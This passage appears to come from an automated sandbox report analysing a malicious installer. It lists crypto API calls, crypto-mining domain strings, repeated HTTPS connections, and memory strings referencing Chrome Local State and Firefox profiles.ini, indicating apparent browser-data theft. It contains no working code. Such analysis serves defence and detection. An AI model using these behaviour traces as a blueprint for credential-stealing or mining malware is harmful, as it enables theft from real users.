Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD5AE0 CryptGetKeyParam,	3_2_00AD5AE0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD9AF0 CryptGetKeyParam,std::_Lockit::_Lockit,	3_2_00AD9AF0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD5DB0 CryptGetKeyParam,std::_Lockit::_Lockit,std::_Lockit::_Lockit,std::bad_exception::bad_exception,__CxxThrowException@8,std::_Lockit::_Lockit,std::locale::facet::facet_Register,	3_2_00AD5DB0
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD8F60 CryptEncrypt,GetLastError,CryptEncrypt,GetLastError,__CxxThrowException@8,	3_2_00AD8F60
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00AD3F50 CryptGetKeyParam,std::_Lockit::_Lockit,	3_2_00AD3F50

Bitcoin Miner

Found strings related to Crypto-Mining

Source: Toolpatch_dbg.exe, 00000009.00000003.1980405151.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: jsecoin.com
Source: Toolpatch_dbg.exe, 00000009.00000003.1978958136.0000000008291000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: coinhive.com/

Source: H3Ze9Uj.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.182:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.182:443 -> 192.168.2.7:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50108 version: TLS 1.2

Source: H3Ze9Uj.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: _C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\RX_INSTALL\_locales\trBR source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\tmp\author\3rdParty\loudmouth-1.3\loudmouth\Release\loudmouth.pdb source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\wspconfig\Bin\wspconfig.pdb source: TiVoServer.exe, 00000003.00000002.1390118132.000000001006F000.00000002.00000001.01000000.0000000C.sdmp, TiVoServer.exe, 00000003.00000002.1370646539.0000000000743000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: krnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.2212004005.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb1612011; source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: TiVoServer.exe, 00000003.00000002.1384356941.0000000009C20000.00000004.00000800.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000002.1383465669.00000000098C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665949782.0000000005540000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665478515.0000000004C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: Toolpatch_dbg.exe, 00000009.00000003.1842909475.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1870149360.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1844021362.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830621556.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1841760709.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Google\Chrome\User Data.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State1+ source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: p\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local Statep.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\MindClient\Bin\MindClient.pdb source: TiVoServer.exe, 00000003.00000002.1371181532.0000000000B28000.00000002.00000001.01000000.0000000F.sdmp, TiVoServer.exe, 00000004.00000002.1433430914.0000000000B53000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: Z\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2`S source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030810151.0000000002E37000.00000004.00000001.00020000.00000000.sdmp,
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.iniFW{ source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2^CN source: Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PC:\Users\user\AppData\Local\Google\Chrome\User Data\.pdb\RX_INSTALL\_locales\trBR source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini&X source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local StaterA source: Toolpatch_dbg.exe, 00000009.00000003.1830621556.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: BROWSE~1.PDBBrowserMetricsdb source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: H3Ze9Uj.exe, 00000000.00000000.1336977352.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000000.00000002.1366197172.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000002.00000000.1340989250.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp, H3Ze9Uj.exe, 00000002.00000002.1352787600.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: d\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2ew source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831" source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: Toolpatch_dbg.exe, 00000009.00000003.1810570362.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: [C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\11\CRX_INSTALL\_locales\zh_TW source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: TiVoServer.exe, 00000003.00000002.1384356941.0000000009C20000.00000004.00000800.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000002.1383465669.00000000098C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665949782.0000000005540000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665478515.0000000004C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: Toolpatch_dbg.exe, 00000009.00000002.2308110426.0000000004409000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307630948.0000000004001000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307140445.0000000003C0C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305242268.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307390113.0000000003E07000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304561142.000000000226A000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307863161.0000000004205000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2308360708.0000000004600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: `C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: f:\binaries.x86ret\bin\i386\Optimization\opt\bin\i386\vspkgs\msvb7.pdb source: H3Ze9Uj.exe, H3Ze9Uj.exe, 00000002.00000002.1359837579.000000006CF61000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State + source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831; source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 